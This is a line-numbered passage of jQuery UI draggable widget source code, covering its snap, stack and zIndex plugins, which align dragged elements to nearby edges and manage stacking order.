1080		}
1081
1082	}
1083} );
1084
1085$.ui.plugin.add( "draggable", "snap", {
1086	start: function( event, ui, i ) {
1087
1088		var o = i.options;
1089
1090		i.snapElements = [];
1091
1092		$( o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap )
1093			.each( function() {
1094				var $t = $( this ),
1095					$o = $t.offset();
1096				if ( this !== i.element[ 0 ] ) {
1097					i.snapElements.push( {
1098						item: this,
1099						width: $t.outerWidth(), height: $t.outerHeight(),
1100						top: $o.top, left: $o.left
1101					} );
1102				}
1103			} );
1104
1105	},
1106	drag: function( event, ui, inst ) {
1107
1108		var ts, bs, ls, rs, l, r, t, b, i, first,
1109			o = inst.options,
1110			d = o.snapTolerance,
1111			x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
1112			y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;
1113
1114		for ( i = inst.snapElements.length - 1; i >= 0; i-- ) {
1115
1116			l = inst.snapElements[ i ].left - inst.margins.left;
1117			r = l + inst.snapElements[ i ].width;
1118			t = inst.snapElements[ i ].top - inst.margins.top;
1119			b = t + inst.snapElements[ i ].height;
1120
1121			if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d ||
1122					!$.contains( inst.snapElements[ i ].item.ownerDocument,
1123					inst.snapElements[ i ].item ) ) {
1124				if ( inst.snapElements[ i ].snapping ) {
1125					if ( inst.options.snap.release ) {
1126						inst.options.snap.release.call(
1127							inst.element,
1128							event,
1129							$.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } )
1130						);
1131					}
1132				}
1133				inst.snapElements[ i ].snapping = false;
1134				continue;
1135			}
1136
1137			if ( o.snapMode !== "inner" ) {
1138				ts = Math.abs( t - y2 ) <= d;
1139				bs = Math.abs( b - y1 ) <= d;
1140				ls = Math.abs( l - x2 ) <= d;
1141				rs = Math.abs( r - x1 ) <= d;
1142				if ( ts ) {
1143					ui.position.top = inst._convertPositionTo( "relative", {
1144						top: t - inst.helperProportions.height,
1145						left: 0
1146					} ).top;
1147				}
1148				if ( bs ) {
1149					ui.position.top = inst._convertPositionTo( "relative", {
1150						top: b,
1151						left: 0
1152					} ).top;
1153				}
1154				if ( ls ) {
1155					ui.position.left = inst._convertPositionTo( "relative", {
1156						top: 0,
1157						left: l - inst.helperProportions.width
1158					} ).left;
1159				}
1160				if ( rs ) {
1161					ui.position.left = inst._convertPositionTo( "relative", {
1162						top: 0,
1163						left: r
1164					} ).left;
1165				}
1166			}
1167
1168			first = ( ts || bs || ls || rs );
1169
1170			if ( o.snapMode !== "outer" ) {
1171				ts = Math.abs( t - y1 ) <= d;
1172				bs = Math.abs( b - y2 ) <= d;
1173				ls = Math.abs( l - x1 ) <= d;
1174				rs = Math.abs( r - x2 ) <= d;
1175				if ( ts ) {
1176					ui.position.top = inst._convertPositionTo( "relative", {
1177						top: t,
1178						left: 0
1179					} ).top;
1180				}
1181				if ( bs ) {
1182					ui.position.top = inst._convertPositionTo( "relative", {
1183						top: b - inst.helperProportions.height,
1184						left: 0
1185					} ).top;
1186				}
1187				if ( ls ) {
1188					ui.position.left = inst._convertPositionTo( "relative", {
1189						top: 0,
1190						left: l
1191					} ).left;
1192				}
1193				if ( rs ) {
1194					ui.position.left = inst._convertPositionTo( "relative", {
1195						top: 0,
1196						left: r - inst.helperProportions.width
1197					} ).left;
1198				}
1199			}
1200
1201			if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs || first ) ) {
1202				if ( inst.options.snap.snap ) {
1203					inst.options.snap.snap.call(
1204						inst.element,
1205						event,
1206						$.extend( inst._uiHash(), {
1207							snapItem: inst.snapElements[ i ].item
1208						} ) );
1209				}
1210			}
1211			inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first );
1212
1213		}
1214
1215	}
1216} );
1217
1218$.ui.plugin.add( "draggable", "stack", {
1219	start: function( event, ui, instance ) {
1220		var min,
1221			o = instance.options,
1222			group = $.makeArray( $( o.stack ) ).sort( function( a, b ) {
1223				return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) -
1224					( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 );
1225			} );
1226
1227		if ( !group.length ) {
1228			return;
1229		}
1230
1231		min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0;
1232		$( group ).each( function( i ) {
1233			$( this ).css( "zIndex", min + i );
1234		} );
1235		this.css( "zIndex", ( min + group.length ) );
1236	}
1237} );
1238
1239$.ui.plugin.add( "draggable", "zIndex", {
1240	start: function( event, ui, instance ) {
1241		var t = $( ui.helper ),
1242			o = instance.options;
1243
1244		if ( t.css( "zIndex" ) ) {
1245			o._zIndex = t.css( "zIndex" );
1246		}
1247		t.css( "zIndex", o.zIndex );
1248	},
1249	stop: function( event, ui, instance ) {
1250		var o = instance.options;
1251
1252		if ( o._zIndex ) {
1253			$( ui.helper ).css( "zIndex", o._zIndex );
1254		}
1255	}
1256} );
1257
1258return $.ui.draggable;
1259
1260} );
1261